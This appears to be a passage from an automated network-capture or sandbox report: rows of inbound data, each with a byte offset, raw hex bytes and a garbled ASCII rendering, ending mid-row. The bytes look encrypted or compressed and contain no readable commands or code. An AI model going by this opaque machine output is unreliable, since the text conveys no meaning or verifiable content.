2021-10-12 00:46:19 UTC	1159	IN	Data Raw: 66 84 9e 19 4c 51 fd fd 57 0a d0 b4 15 82 4e f7 61 8a 47 5a bc 1d 99 af 7a fc c2 f3 ca dc be 43 34 bf 2f 46 07 27 15 48 e6 0c 97 f7 d5 41 cb b1 77 96 64 3e 72 d6 2d 7a b2 65 23 b7 4d db dd 9f 85 f3 9d 51 4c 43 bf 6a 1d 04 e3 cd 61 b2 8d 61 12 f7 c3 6e 8a de 1c 3a 65 d6 50 2c 64 fa da 52 a4 04 90 01 92 07 f6 b7 80 b1 47 5d 66 84 fe 46 a8 8b 51 af a9 80 a5 93 52 c3 58 67 92 e3 83 7f 59 31 f7 35 45 63 97 83 9b a1 28 9d de a1 24 65 d2 55 67 4d 87 ab 2b f2 8a bb ba e1 66 d7 af 69 64 a0 99 dc e3 e1 16 0b 08 8a 6c 80 2a d7 f9 17 f0 42 c7 06 23 9e 2f 68 ce 08 44 dc de b4 97 0b 13 94 00 ce 3f 44 cf d6 f7 ca 34 1d 3b 19 92 b7 9c bd 52 51 5f 00 93 89 8e 8d 0a c3 b3 7a 40 75 cd cf f8 6f cf f2 45 57 4c 13 0d 15 7b c0 1a e9 76 9a 3b ef cb be 35 2d 82 58 01 9c d1 9b ab Data Ascii: fLQWNaGZzC4/F'HAwd>r-ze#MQLCjaan:eP,dRG]fFQRXgY15Ec($eUgM+fidl*B#/hD?D4;RQ_z@uoEWL{v;5-X
2021-10-12 00:46:19 UTC	1175	IN	Data Raw: d3 be 74 ff 96 a5 41 57 6c 8d 4d a9 6e 25 7b 09 34 51 b7 b6 34 2c ba a0 66 7a 43 4d d7 8c 71 41 d4 4c 73 54 fb 82 83 2f de 2c 68 5c 18 82 14 61 47 44 a1 bd d3 05 82 62 e4 f4 a9 25 08 4d 43 44 f9 82 f5 69 d0 aa 89 ba 3e fb 95 70 62 01 32 80 56 5a ee b9 56 c8 c2 45 16 f8 79 90 83 fe 72 d7 fc ec ff 87 65 da 51 a8 2c ef 2d 5b f8 41 c2 1b 9d 89 33 c3 8c 2f fc da b7 f6 26 92 8d 8b 53 0a 6f cf 43 fe 06 b6 f7 db 0f 93 92 8a f1 65 73 28 39 b6 9a bd 97 51 07 53 5f ca 72 2f 8c d6 54 bb 54 fc 6a ae 85 a7 09 72 e4 60 ec 15 ea 68 ec 15 1a 78 72 8a a2 56 7f 89 5c 50 2f d2 8e 28 dc dc 36 9e 82 d8 94 28 73 1a 16 5f 14 55 6d ed f0 2a 03 65 30 35 93 e8 7c ff 2c 29 69 23 36 ea 0b 92 a1 95 ba 84 4c b5 70 ed bb 0e c9 f8 c3 81 f3 78 c1 0f f6 95 c5 f1 4a b2 f5 9a ad ed f1 6c 8f Data Ascii: tAWlMn%{4Q4,fzCMqALsT/,h\aGDb%MCDi>pb2VZVEyreQ,-[A3/&SoCes(9QS_r/TTjr`hxrV\P/(6(s_Um*e05\|,)i#6LpxJl
2021-10-12 00:46:19 UTC	1191	IN	Data Raw: b5 d5 b4 c1 04 2c 45 ec 93 d2 28 65 7d b9 14 b2 0f 47 11 f0 17 e3 87 53 83 e6 31 6e 77 00 a9 6b 9a fa 72 ce 17 fb f1 3d 4b 1e a8 b7 19 cd 2c 58 ff 19 b2 45 e9 ec d4 ec f1 3f 7e 9c c1 0b 8a 5f e6 ce ab 32 51 2c 29 70 20 1e e6 67 a8 2d 4c 43 73 00 b9 10 46 e4 12 0a bb 4d e5 38 ca db 2b e9 fa 77 22 10 99 00 86 f9 7b 75 db ed 6d b7 fb b8 d0 7d 31 d9 ea 2c 93 ce 5f 20 81 de 44 3f 0f 62 8d d8 0e bd 2f 4d 41 55 95 f2 f0 f6 93 38 d6 cb 97 a4 48 da 83 c3 9d b1 94 3a b4 e3 74 90 73 4f 35 81 cd 5b a5 97 4e a9 94 8c 73 43 c1 36 7a 17 a7 1f f6 91 51 f0 b5 dd 23 2b b8 98 df 57 17 f9 ce b3 61 80 ed 87 9f 71 32 19 a5 0f f7 89 8d 1b 73 50 61 cc e9 57 45 12 d0 9e aa 03 dd 34 b7 16 7c 2a f3 c0 35 d4 bd 27 98 39 7c a5 c5 f6 7b 3f c9 4e 71 18 f5 02 b6 97 a1 d9 13 d1 3a bd a1 Data Ascii: ,E(e}GS1nwkr=K,XE?~_2Q,)p g-LCsFM8+w"{um}1,_ D?b/MAU8H:tsO5[NsC6zQ#+Waq2sPaWE4\|*5'9\|{?Nq:
2021-10-12 00:46:19 UTC	1207	IN	Data Raw: a0 59 44 a4 37 15 45 d3 85 25 91 d7 81 10 42 26 6b 2c 54 e6 5b 0a cf 70 8f 55 86 65 7a 86 0f 5d 13 a8 28 16 e8 33 b1 c5 ec 09 c9 08 15 42 b5 3d 87 71 7e 41 4d cf c5 aa ab ce b9 2c c2 96 8b 0c 40 86 2c 6e 81 3a b7 27 14 03 22 c8 f1 5c ac c1 a6 f4 d7 ab e4 49 8e 28 18 33 11 89 c1 cd 29 36 d3 ac 6f b2 da c0 78 83 96 65 03 27 ca e7 1e 6c ba b8 ce 15 c4 9f cb d7 c3 4e c3 ae 6c ea c2 b1 28 67 fa c0 21 1f 53 a1 84 49 73 96 bf 85 77 63 2b 7d ef 5c fe 94 31 73 a7 90 c5 e3 cd 9a 99 bf f8 5f 94 0f 66 a8 eb 9b 4e 46 b9 15 ef 36 5f 01 b5 da d7 98 2c 6f 49 0d fe b5 bb 90 35 f2 a9 46 49 31 d2 72 cb 63 a7 4f 4b 28 02 d9 c6 9c a3 56 da 61 df 7a 5c bd b1 59 9a 6e a6 3c 1d 6e 93 19 e9 44 75 c9 01 fe 75 46 21 74 93 d3 03 5b b5 11 7e 37 83 46 68 83 55 84 62 8c 70 39 6e 51 30 Data Ascii: YD7E%B&k,T[pUez](3B=q~AM,@,n:'"\I(3)6oxe'lNl(g!SIswc+}\1s_fNF6_,oI5FI1rcOK(Vaz\Yn<nDuuF!t[~7FhUbp9nQ0
2021-10-12 00:46:19 UTC	1223	IN	Data Raw: 31 a7 dd 47 b5 7a d0 9e c5 04 e4 1a 30 38 7a ac 42 ae 53 2a 5c 83 1d 73 fe f9 ca a9 96 f3 b0 d1 e9 5d 4a a4 52 66 cb 91 28 54 ff f2 84 d8 f1 39 3b 60 87 23 5b 71 71 92 f9 75 15 34 82 eb 25 72 38 85 0a e1 73 31 fa 00 bf b5 84 93 60 93 22 c8 88 1b 65 db c8 b7 7a a0 7e 3a 48 3b 5a b6 8a 49 f2 6e 57 49 61 97 f2 9f 27 1f 3b 0c db 0a a8 2e 68 31 1e 9d 3c 2c cf 45 ee 2b 45 ad f0 9a b8 7c 5d ae ed 0b ad e1 dc b4 25 89 26 53 0b b5 d5 5c 90 7c cf 73 b5 98 4a 19 d8 e0 bf 3b 30 91 59 e7 18 af d7 a4 1c 78 75 5c 6f 9d b8 94 bb 3d ac 22 70 fa d6 b5 5c a6 3e 23 b1 78 f5 f2 04 16 fa e0 cd 1a 61 a3 a4 be cf 22 c2 80 be 91 55 79 2b 2a d5 69 d2 9f 19 9c 20 07 7f e8 45 e6 52 2b 5a 8e 89 ce a9 06 dd 27 cb 41 dd 75 66 2d 15 a0 6c 17 2f 71 45 31 f7 7d d0 dd cf dc 28 3e 7b 49 8a Data Ascii: 1Gz08zBS\s]JRf(T9;`#[qqu4%r8s1`"ez~:H;ZInWIa';.h1<,E+E\|]%&S\\|sJ;0Yxu\o="p\>#xa"Uy+i ER+Z'Auf-l/qE1}(>{I
2021-10-12 00:46:19 UTC	1239	IN	Data Raw: 24 7c 36 f6 e4 eb a7 a8 43 af 21 ce f9 ee c8 23 79 d3 a0 49 ab 0d 9a 54 0c 98 e9 94 3c d9 1b 5a 18 c3 ba fc dd 1f 71 40 84 68 63 9e 07 ce 99 2d 67 3d 9b 4a 26 1e f2 a1 c8 93 b3 26 27 df 70 88 7a fe 64 d2 c3 01 dc 08 ae d0 8d cf 0d 92 d8 ae 0f e8 15 d0 c7 fe 3a 41 eb ce b4 fd 7a e8 ad 50 f1 a3 3a 49 d0 b8 ca 6a 9d 58 dd 41 6c 5b db db 13 95 34 db 1e 14 05 be f3 38 18 ca db 4a 27 cb 24 0f 5c fa 73 86 06 58 5e 44 21 a3 b2 05 67 ee fe 35 1b fe b2 ba fe a7 9b 14 79 9d 2c d5 2d 1c e9 59 be 71 cb cb 9a 25 f6 aa ed 92 bc b7 2a 00 ef b1 7f 5f 3e 56 ef 06 45 6c 83 40 d5 0c 74 26 4f 01 d1 62 8e e8 3b 23 a6 7c 1b f8 d5 fa a4 f1 a6 77 e8 66 ec bf 11 8a 96 8a c6 c5 cf dc a4 30 2e b7 e5 0c e1 ed 4e 26 71 60 56 e1 ce 1d 1e 03 ec db c2 18 9f 4b f1 df 46 42 10 88 71 a5 78 Data Ascii: $\|6C!#yIT<Zq@hc-g=J&&'pzd:AzP:IjXAl[48J'$\sX^D!g5y,-Yq%*_>VEl@t&Ob;#\|wf0.N&q`VKFBqx
2021-10-12 00:46:19 UTC	1255	IN	Data Raw: b6 1a 0f 69 10 f6 3d 51 5e 82 dd 8f ee ce 38 9f 25 ee 3e 57 d5 38 fe 36 1e d6 2b 3f 5b ae de 6b f0 3c 9f 05 3f ee 78 84 f6 80 64 1e b3 7a 67 a1 78 b1 90 93 b8 3a ba fb b9 63 6b 4d 5e 7f 42 e4 5e 90 26 99 35 aa 51 30 6d bd 78 35 a3 cf e0 05 61 97 b5 d5 e6 d0 4b 4d 3f a5 ea d6 17 48 af 5d 0c 66 a1 71 89 70 37 0e e5 82 67 3b 69 0c a8 e2 37 be 2e 17 5f 4b a0 7e f3 77 ed 5d e1 22 fa 6d ae 31 8d 4a d6 e7 dc 1b 20 76 41 07 82 66 eb b7 df 8a 5f 86 51 04 77 eb 3a fa 1b b8 17 d4 8c 4b 6c 62 4b 82 5c a3 66 69 03 40 c5 ec dd 87 fd f9 cf 9d f6 b2 31 51 bd 0d 28 1a 51 c6 89 12 50 bd c3 ef b9 be 96 cc de 95 49 6a f7 60 ca 3a 9c 39 05 af cf 68 40 95 db 0d 0b a6 6b d7 db 1b 3d f4 cb 04 1c 55 ce 3c d6 74 85 f9 0c fe 38 47 69 c8 94 ea fe bd 29 d1 42 39 f6 d2 9b 92 b6 53 82 Data Ascii: i=Q^8%>W86+?[k<?xdzgx:ckM^B^&5Q0mx5aKM?H]fqp7g;i7._K~w]"m1J vAf_Qw:KlbK\fi@1Q(QPIj`:9h@k=U<t8Gi)B9S
2021-10-12 00:46:19 UTC	1271	IN	Data Raw: c7 b6 50 3b 1a 93 b6 c9 15 2f fa b4 6b 15 20 cd 15 54 d0 26 37 39 2d dd f5 85 5f ad f6 ee 1b 37 b0 2b ab ba 8c fd f4 7b 35 cf ec 5b 6b a5 f3 88 34 3d db 5f e2 2e 49 97 d2 09 01 b8 fa f8 09 b2 8d a9 b5 7f 8a 12 6b fc 3f 5b 17 aa fb bf 33 08 90 9f b1 93 c2 06 83 92 f3 44 07 f5 c9 ce cf 1a 19 69 d5 de 63 91 42 7c 57 a5 37 26 fd 88 ba 28 e1 19 37 4d 85 77 19 e9 27 01 ad d0 2f 10 46 8b bc 8f 81 fe 8f e1 7e dc 67 9a b0 d7 a9 b5 f2 ca f3 98 66 72 87 b9 3a b5 4c 4d f1 91 19 07 37 b5 cc 41 34 a9 bb af 34 7b 98 69 61 45 af 9d 4e db 07 48 53 7b 2f 00 b5 0c f3 df 4d fb a6 5c 7b 0d a7 8d 69 42 94 b8 85 1c c9 cc e0 41 1e 92 52 1f 20 5d 0a a6 5e 7c 48 32 99 7b d7 5e 80 35 74 78 7e c9 da 1e f7 61 70 31 0d 8e 58 ec 99 91 72 ce 59 75 4c 27 3c 0b ae 02 85 9a 5b 2d 3f 27 7d Data Ascii: P;/k T&79-_7+{5[k4=_.Ik?[3DicB\|W7&(7Mw'/F~gfr:LM7A44{iaENHS{/M\{iBAR ]^\|H2{^5tx~ap1XrYuL'<[-?'}
2021-10-12 00:46:19 UTC	1287	IN	Data Raw: 72 4a a7 fc d9 4f 14 23 02 70 8f 74 24 dd d7 c6 2e b9 d6 7e ac 31 43 97 dc 1d 01 ca d1 18 01 8f ea c2 2d 7f 9d 2c 8c 29 cc fc 92 79 0e c5 d5 1b 73 43 9d 8a 4b 86 50 88 16 01 f3 b1 89 c6 c0 ed 58 4f e8 6a ea bd 30 42 4c fe a9 d8 5b 46 ff 53 20 03 70 40 ff a1 1a 18 28 42 51 6d e7 63 68 4d d3 57 bf 34 90 45 ab ba b5 85 04 be e2 ac 2b d2 3f b7 c9 33 9c 8a 5b 84 53 cb e6 32 62 f3 13 57 05 36 a5 20 24 38 d6 91 c4 57 86 d2 af 51 b2 20 0e 06 9e 1d b8 e4 12 2a 7d 0a d8 15 58 52 e8 4f 6c 17 fe e1 92 2e 5a ef 62 88 59 2e 23 a6 b9 35 74 fa f0 b8 f3 df 0c e0 f1 8e a1 59 7d 33 39 2e 1c 04 53 82 4e 72 26 0f 4a 39 65 bf 74 c5 c0 50 ae 8a 93 ef d6 9c 89 b6 f3 cc 17 5d 3d 5e 55 01 ff 38 f0 bf 66 1f 63 35 78 8a 49 be ba 89 6e 36 dd 6c 2f d4 39 6a a6 67 1b e5 72 a5 44 45 d3 Data Ascii: rJO#pt$.~1C-,)ysCKPXOj0BL[FS p@(BQmchMW4E+?3[S2bW6 $8WQ *}XROl.ZbY.#5tY}39.SNr&J9etP]=^U8fc5xIn6l/9jgrDE
2021-10-12 00:46:19 UTC	1303	IN	Data Raw: 80 d5 a3 83 ad 4c de f7 de 8e 49 9d 5d e7 e3 11 ab f9 3b 5d 8b 63 9e 3e 95 24 3d a1 99 05 ba 33 88 22 18 6f c9 1f 4a 84 54 fa a5 89 b1 3a dc 0e 84 a4 ac 2e f6 20 a1 4b a3 f2 5b 49 85 16 fd 9a 47 c9 cd a1 84 63 8c e2 11 62 c0 d9 44 77 d8 57 47 6f 52 e1 b2 44 38 5d 12 dc 60 4b 4b 9a bd 9b 05 16 2c e8 91 bc 83 a7 9b 1d 6a be 47 cc 1e bf 48 2b df 11 ac 8e 50 21 7b 9f 82 8b c9 3e 50 56 f3 28 b9 e2 24 b9 4c 73 a1 d1 23 c7 15 55 a7 4d 6d 1c c5 b8 2f 24 cf 13 19 d1 5a 8e 0d 6c 44 f5 a7 d5 58 de 54 e0 bf 68 7f c6 53 79 17 7f 11 2d 38 76 b6 10 9f 2d f6 11 15 8b 20 2a f8 8f a0 76 3d eb e3 64 76 51 63 17 a6 2b 10 cf ab 73 0c 97 ce e3 39 1c cb c3 6f bd e3 19 d6 04 ef 03 76 fc 5c 44 75 cb be dc e3 e9 7e 6e b4 99 cc 2b 24 bc e7 42 f5 45 28 02 0d 42 97 a8 f5 40 61 00 18 Data Ascii: LI];]c>$=3"oJT:. K[IGcbDwWGoRD8]`KK,jGH+P!{>PV($Ls#UMm/$ZlDXThSy-8v- *v=dvQc+s9ov\Du~n+$BE(B@a
2021-10-12 00:46:19 UTC	1319	IN	Data Raw: 16 1d f4 94 d9 9a e3 75 79 32 e2 4f 20 f9 11 c8 74 45 0d 92 3c 96 7f 5f a7 30 9b 72 ce bb 6e cc a9 4b 81 c3 f2 fd e0 d7 26 0a ce ab ce 94 69 27 7b 78 4c 61 a5 e0 77 26 60 e6 11 2d 7b 0a 26 5d b8 3d 38 01 97 2b 26 22 a1 9d 95 75 f9 6f 35 4b 6b 7b db 5e d2 ce 4f 39 6d f8 cc f0 d6 a7 dd 93 81 0e c8 1f 45 ce d4 79 f3 a9 2b 50 23 83 14 c5 e4 40 1d cd c6 96 34 1d 8d d5 fe 44 e7 6b 35 4b f7 b3 b0 8f 30 92 3e d8 8e 52 12 62 b5 0d bb 0a 86 08 0d e2 66 e6 85 e4 cc e7 a6 d9 cc a9 91 9c 87 69 df 10 86 cd f0 85 ec 93 c5 4c 82 d8 f0 a2 b5 be 3c ee 6e e3 71 64 66 43 f1 93 36 da d1 91 aa b7 b0 50 ee 12 86 bd 79 35 2d 95 0f 29 f6 77 9f 89 b3 4b c8 09 3f e4 b3 54 00 73 72 ad 3a 3c d0 3e 7b 5c 84 39 79 f8 51 f4 9e ca 0f 8a e2 7f 63 8f 0f 06 36 d5 7c 2c ff 71 59 8d a5 12 e0 Data Ascii: uy2O tE<_0rnK&i'{xLaw&`-{&]=8+&"uo5Kk{^O9mEy+P#@4Dk5K0>RbfiL<nqdfC6Py5-)wK?Tsr:<>{\9yQc6\|,qY
2021-10-12 00:46:19 UTC	1335	IN	Data Raw: 6f 0f 13 57 6d 02 b4 dd d2 f5 f3 0d 31 ad d8 78 37 1a 5d af c9 9d 84 08 1c 30 44 e8 90 d1 fd 66 cf 0e d5 38 e4 8e 38 80 ee 1c 6f 00 82 76 a1 3b b0 02 3b e5 13 04 e9 bd 6e 39 ed 81 0c 61 f0 dc b3 71 3b 57 84 b8 54 b2 dd d1 83 6b 46 a3 06 58 28 cd 02 1f c5 bf 87 8a 99 47 b8 3e 05 0b c1 02 cb f9 df fe 73 11 0c b5 d3 73 f6 3d 29 89 d8 69 66 f3 f3 a7 ae 85 fe 26 ab 5e c0 1f 5b 51 63 e6 de 11 02 41 a3 1d 6f c6 85 e5 ec f1 38 d5 05 06 20 d1 a2 80 63 82 c3 26 fd 1b 15 e5 ff 9f 52 f0 d4 cd 63 23 ba e8 4a ae 04 ad 89 ae 96 07 b0 78 74 e5 3b 11 ef 7c 6e 79 a6 b2 78 82 65 aa 80 e4 7c 39 53 4e 09 aa 70 8b cf e7 c3 09 d6 7f 1d 19 03 8c 23 3a 70 21 71 e7 b4 ff 4e cf e2 af a9 c1 c8 e7 f2 bb 0f a6 cc 91 43 67 ac 7a b0 e5 06 ca 21 ef c4 1d 73 8c 7e 29 08 87 da 3b ab d7 5f Data Ascii: oWm1x7]0Df88ov;;n9aq;WTkFX(G>ss=)if&^[QcAo8 c&Rc#Jxt;\|nyxe\|9SNp#:p!qNCgz!s~);_
2021-10-12 00:46:19 UTC	1351	IN	Data Raw: f0 9d 7d 9b ee 59 95 7f 28 a4 2d 1f ff 17 f1 41 93 ce 2b 54 b1 23 9a ea 85 2f 1d 3f c4 45 dc c5 5e 16 c6 0a fc 57 65 dc 79 19 99 f8 57 bc 4f 80 d7 85 39 4b 3c 4b 28 1b b1 c6 9b 8b 6b 26 02 46 f1 e6 22 e2 2b 41 00 24 0f 9e 10 8b ee b0 45 4b 77 1d a5 63 11 f7 c6 59 1c 1d 0d ba e8 43 c1 46 ba 34 83 2a 89 8d a2 4f d2 54 b8 c6 e0 87 5b cf c9 e5 20 37 db 55 60 d5 08 6a 72 af 50 6b 7c 1a eb 86 01 6c 3b 26 af 8a d8 ce e4 65 d8 fb f4 9c ba 34 83 2a 89 8d a2 4f ac ab dc 11 68 60 94 d5 a2 a5 5e f7 f5 64 7b 65 9b a6 63 af 69 4f 4b 12 4a d4 64 1f f9 a3 dc fb 4a fa 7d cf 7e c9 c8 ab 3d 18 71 83 77 b8 09 fb c3 23 cc 35 6d 1d c3 2a cd ed e1 60 6d b9 a2 61 53 c2 45 29 94 95 b5 90 86 2c 9c 0f 6a 21 67 c8 1d 8c c8 a5 e1 d6 78 c2 35 d1 e8 87 5d 48 ba ab 41 fb 2f 03 1f c6 26 Data Ascii: }Y(-A+T#/?E^WeyWO9K<K(k&F"+A$EKwcYCF4OT[ 7U`jrPk\|l;&e4Oh`^d{eciOKJdJ}~=qw#5m*`maSE),j!gx5]HA/&
2021-10-12 00:46:19 UTC	1367	IN	Data Raw: c2 96 aa ca 0c 30 56 0d d6 75 a2 04 20 14 6e 74 cb 17 7c c7 e4 48 a1 f2 a9 11 5b e4 c1 e1 02 cb 9c 86 ac 24 1b 78 1e 30 4c 59 2f 3b c9 92 18 4b 43 65 6f 52 c5 4f 52 6a bf f1 6a 70 d7 43 f6 8e fe 73 ac 24 47 56 50 5f 17 b6 c1 05 68 67 83 4e c4 4b 5d a8 1e 9b 0c ec ad 46 04 81 18 50 1e 8e a9 24 ae 1b 97 2f 8d 85 10 6e 40 11 c7 81 59 f4 2a b7 68 b9 ef c6 89 77 4e da e0 03 20 82 ba 64 92 54 84 f2 70 bb b1 ba 70 13 b9 8a 62 8b 70 4e 94 d7 bd 48 c2 f1 3c 1d ee 55 87 c1 41 05 5c d3 01 47 46 de 64 01 91 56 b3 34 f6 48 48 23 66 87 ac c0 bf 5f 00 54 da 43 c7 f1 b2 f2 6f 92 35 b6 16 56 98 d9 34 df 78 36 2b bf a3 4b da a2 2f a7 05 6b 20 69 3d c6 56 4f 74 f3 5e 63 ff 1f c4 ed ff ef 49 e1 fa 6e dc 2b af 0e 15 ec 2a dc 45 7d a6 24 e2 f9 5c 50 5e e0 7d f8 bf 90 bc 15 82 Data Ascii: 0Vu nt\|H[$x0LY/;KCeoRORjjpCs$GVP_hgNK]FP$/n@YhwN dTppbpNH<UA\GFdV4HH#f_TCo5V4x6+K/k i=VOt^cIn+E}$\P^}
2021-10-12 00:46:19 UTC	1383	IN	Data Raw: 0e 6a 43 fb 7b 16 60 3d ae 6a 89 80 22 45 11 60 82 a2 b9 c3 4f 17 d5 85 e3 4e 20 e9 49 e8 a6 e6 53 6e 42 b1 cc 87 9b 68 02 7a 72 a0 1d 21 bb 6a 25 d7 5e 01 c8 7d ec c0 55 f3 8f be d2 56 55 0f 8e 02 0d ba a0 c9 72 11 1c 64 0c 5f 3c 98 db ff 22 dd 29 a9 c1 2b ed ad 2d 16 6b 3d 1a 95 3b e3 f1 47 72 af d3 bb 28 0f 1d 29 2c 61 d6 25 bd f6 6e 83 2c 58 36 22 57 39 06 6a 12 a1 6d 3b ad 7d 10 4d 0f 32 bb c3 aa 17 91 39 63 81 84 e7 7f 9c 75 97 2a 7e ec cd d6 c1 59 9a 42 de 86 99 19 e6 ac 78 3e 53 4a 51 22 58 57 aa 0b 82 6d 2d 41 c6 72 70 7d f1 cd 79 40 65 e7 e9 5b b7 da 58 51 2d d7 82 11 65 16 18 12 7f db 98 3b 5d 52 ed 89 06 d6 8a a6 db ae fe 55 59 39 c1 49 fe 71 96 d2 f5 e1 40 42 41 d2 76 ca c6 d4 c1 6f 85 8a 5f 27 5a 8f 08 ef 58 4e db e2 9a d8 6a 44 56 34 d8 3c Data Ascii: jC{`=j"E`ON ISnBhzr!j%^}UVUrd_<")+-k=;Gr(),a%n,X6"W9jm;}M29cu*~YBx>SJQ"XWm-Arp}y@e[XQ-e;]RUY9Iq@BAvo_'ZXNjDV4<
2021-10-12 00:46:19 UTC	1399	IN	Data Raw: c9 df 7c bc 44 6c 90 3c dd fe 92 c5 56 97 45 95 e5 9e 42 e3 42 27 97 ab eb 61 ef 46 a9 a0 d9 af 4e 88 6c 0c a2 14 e2 9d 2c 43 5e 2d b6 92 59 d6 3f 2a 8e ae c3 6d 6c 78 46 76 94 77 e7 99 2d 1a 34 99 23 96 8b 93 f2 67 bd a7 11 d6 ce 97 87 2b 13 f7 dd 97 25 cd 48 fd b1 b1 07 0f e4 f5 2d 92 ad 7a 3f c0 d1 4d 46 da cb 2f 0e 67 4e fd a1 26 dc 32 59 fc 4c 26 9e 49 ff 87 de 22 f9 a6 ae 7d 97 e5 8f c1 db 5d f8 4a f2 58 99 84 fb ea 60 f4 55 23 b6 09 30 b8 11 ec 5a f9 3a bc 2f 14 06 7c 13 6e 19 9d 3d f5 b3 ba ff 46 21 da 5e d4 96 89 24 d1 2f 95 52 be ad 6a 39 05 02 c8 d8 6a b5 85 14 14 7e 28 d9 9d b1 2a 59 59 5d 29 fe d7 f3 61 2c 5c 23 61 37 cc 62 03 20 ba 94 2f 0b c9 c4 87 17 ed 8e bf 15 50 a7 a1 15 4d e7 d3 42 45 dd 37 61 02 fb 8f e3 70 41 5f d7 0f 97 f2 76 e2 da Data Ascii: \|Dl<VEBB'aFNl,C^-Y?mlxFvw-4#g+%H-z?MF/gN&2YL&I"}]JX`U#0Z:/\|n=F!^$/Rj9j~(YY])a,\#a7b /PMBE7apA_v
2021-10-12 00:46:19 UTC	1415	IN	Data Raw: 50 32 e6 38 16 b5 66 e8 61 39 4c 6b 12 75 fc 40 a2 b2 0b 19 20 b2 bd c5 41 1f 0e f5 35 50 bd d7 c6 00 8f b8 ee 7c a5 9e a0 0b 1a 30 a8 5f d1 f4 c6 dd e3 8f 5e f4 9a 3a ba a1 db 75 f5 fd 80 ce d7 db 95 92 11 6b c7 d2 83 3e 58 20 dc be a4 77 35 ed 8c 27 bd 32 1d 1b 61 a5 f1 b1 db 4a e4 eb 9c 3b ed 1f b3 3d 8a db 1d f9 30 4f a9 ae 8c f3 80 67 d9 33 18 d9 14 e5 b6 70 65 63 ad ad 8e 7b 58 cd f0 6d 80 4c cf ab db 37 34 d0 9a 0a 1d c4 46 ce 83 12 da f4 2b 12 3f 66 61 d3 af 5c f8 98 f8 5b cb 5e a8 20 b7 c2 1b 63 4b e9 d9 bf 7b 33 c9 94 89 eb fa 6c cf fa 9f c1 29 eb 12 2d 78 49 d4 a3 c9 d8 6a c6 0f a9 28 48 83 64 09 7e e7 d1 a0 ae b5 2e ab 5b fb 6a e1 ef c6 4b 1e a5 98 09 3f 9e a3 a9 16 d1 ad fe 15 f5 71 8f d7 cf 8b 62 51 ab 4e 18 93 ca c9 32 90 7e fd 1f 4c 28 8e Data Ascii: P28fa9Lku@ A5P\|0_^:uk>X w5'2aJ;=0Og3pec{XmL74F+?fa\[^ cK{3l)-xIj(Hd~.[jK?qbQN2~L(
2021-10-12 00:46:19 UTC	1431	IN	Data Raw: 13 04 0b 90 9b 43 5e 02 35 4a 5d 9e 50 13 25 d3 a4 44 73 20 10 65 3e a1 af 07 1e 49 19 28 d8 04 40 ef 31 31 8d df 8a 44 52 cb c1 0b bb 55 2b 3b 35 76 8b 40 e5 53 67 71 19 f2 e2 eb bf 30 f2 c1 a4 bf 67 f3 6a 53 b5 19 88 69 bf 08 4f 01 4e 76 01 43 1a 22 36 46 b8 97 fe 25 97 92 ce 9e 6d d9 89 c1 84 ad ac fb 3b 11 e8 df 8e 22 04 30 48 64 b5 ff ba 23 1b 0d af 9e 86 ff 93 96 e2 70 d9 d3 64 8e 57 d0 62 a1 d9 f6 23 cc 61 e4 67 b0 44 56 70 63 ca 70 b2 36 c7 b8 9a 06 fa 21 0a 32 73 71 fa cd ef fb 47 67 76 bc fe 91 28 89 2b 01 25 36 90 04 37 a0 d1 80 1b 26 2b 6b eb 7f 4e 52 df 25 be f8 26 62 ae 0b 48 41 c7 bf ed 7f 60 4e 79 16 b8 2f 5e 0c e9 50 e8 3d 0e 89 2a 7e ab bc 2d 4d da 9c 37 c3 35 50 00 d3 4c 29 d5 4d 56 66 7d 95 c2 ec e2 7c 91 e9 94 62 3f 83 5b 94 9b 72 38 Data Ascii: C^5J]P%Ds e>I(@11DRU+;5v@Sgq0gjSiONvC"6F%m;"0Hd#pdWb#agDVpcp6!2sqGgv(+%67&+kNR%&bHA`Ny/^P=*~-M75PL)MVf}\|b?[r8
2021-10-12 00:46:19 UTC	1447	IN	Data Raw: a9 eb 8d 15 c9 a6 0d 64 cb 1a 1d 7f c9 0d 3d b1 ce 1b 80 eb 68 54 fb c3 f0 c9 0f 61 15 04 a2 bb 5a 8a 3b 46 0b 7c 35 3a 02 e3 e4 e1 54 d1 a3 7a e2 91 a2 b4 06 30 cc df 18 6b 45 ac a4 48 d8 0a 5f 3c 6f 1d 3d 07 b0 1c 24 0b a0 60 01 60 12 b4 bf 3e 9c 61 6f c9 ce f6 60 5d 89 62 fc 9f 41 a2 8d b5 bc 4e 2e a5 4a 5e 7f d5 bf a2 33 b8 15 90 59 0c 68 02 f3 ec 69 89 c7 f9 78 ee 90 2f a3 cc dc ce 4d 22 ea 18 80 f3 39 5a 7f 0b 02 49 dd 44 a4 c5 d2 52 90 c0 7d d3 28 68 66 47 27 c6 e6 ca a1 25 fc 67 67 9f 7b c3 c0 a7 ac 58 02 3e e8 47 a7 f9 1f 62 b7 56 73 a4 8e 4d 2f 4f ec 7a 13 4d c1 82 9e fd a4 cf c8 ed b5 2b 8b 48 21 83 1f b2 f5 fd d7 6d 24 33 3f e0 0d 12 d2 14 94 7d 39 c7 bd 86 ef c8 a1 91 10 7f f4 3b bc cb c8 c4 52 9c 87 dd 89 58 83 d9 3e d1 81 35 61 af 03 b1 21 Data Ascii: d=hTaZ;F\|5:Tz0kEH_<o=$``>ao`]bAN.J^3Yhix/M"9ZIDR}(hfG'%gg{X>GbVsM/OzM+H!m$3?}9;RX>5a!
2021-10-12 00:46:19 UTC	1463	IN	Data Raw: 8d 51 4b fd 8a 58 82 60 45 91 86 f2 66 c3 42 27 2d 42 f7 ff 69 0a ee 89 65 a8 fa ad c0 e5 9b f0 b2 5d 5e 4d 3e ca 52 3b 5e 0f 9d 14 75 f0 b2 79 62 b5 e3 2f c7 2e cd 50 61 da 55 d5 8a 8b 0a 4f 8b 23 d1 c1 87 64 4e 80 3b db 6a 5f 77 f1 33 e3 32 cf a3 8a d2 7b 17 b2 74 20 05 23 74 7e b0 ca 0b 61 c4 5a 57 3d 96 52 ab bd f5 81 1c 47 89 07 c4 c8 ed fa 28 c2 e5 41 ec 1c 9f 96 01 44 cc 63 02 48 1d d7 fa bf 86 2d 9d 54 fb 5e 49 0b 00 a9 de cf 0c 35 91 5e 87 4a bc eb 8f 4a 19 54 7d d1 58 27 55 9c d5 75 4f b4 bd 17 4c 68 f5 97 54 84 70 48 c2 cb 58 cc b0 ec c0 61 23 ad 41 4a c7 c7 30 08 54 07 08 1a 59 c4 75 d9 ed ba 1f 6e e8 b6 b5 c2 64 d5 67 01 a5 58 b1 56 0a 6e ac 5d b3 7d 5e 24 68 80 b1 fb f9 82 d1 b0 2a 70 27 7f 51 34 b4 f3 5c 1a e3 5c 76 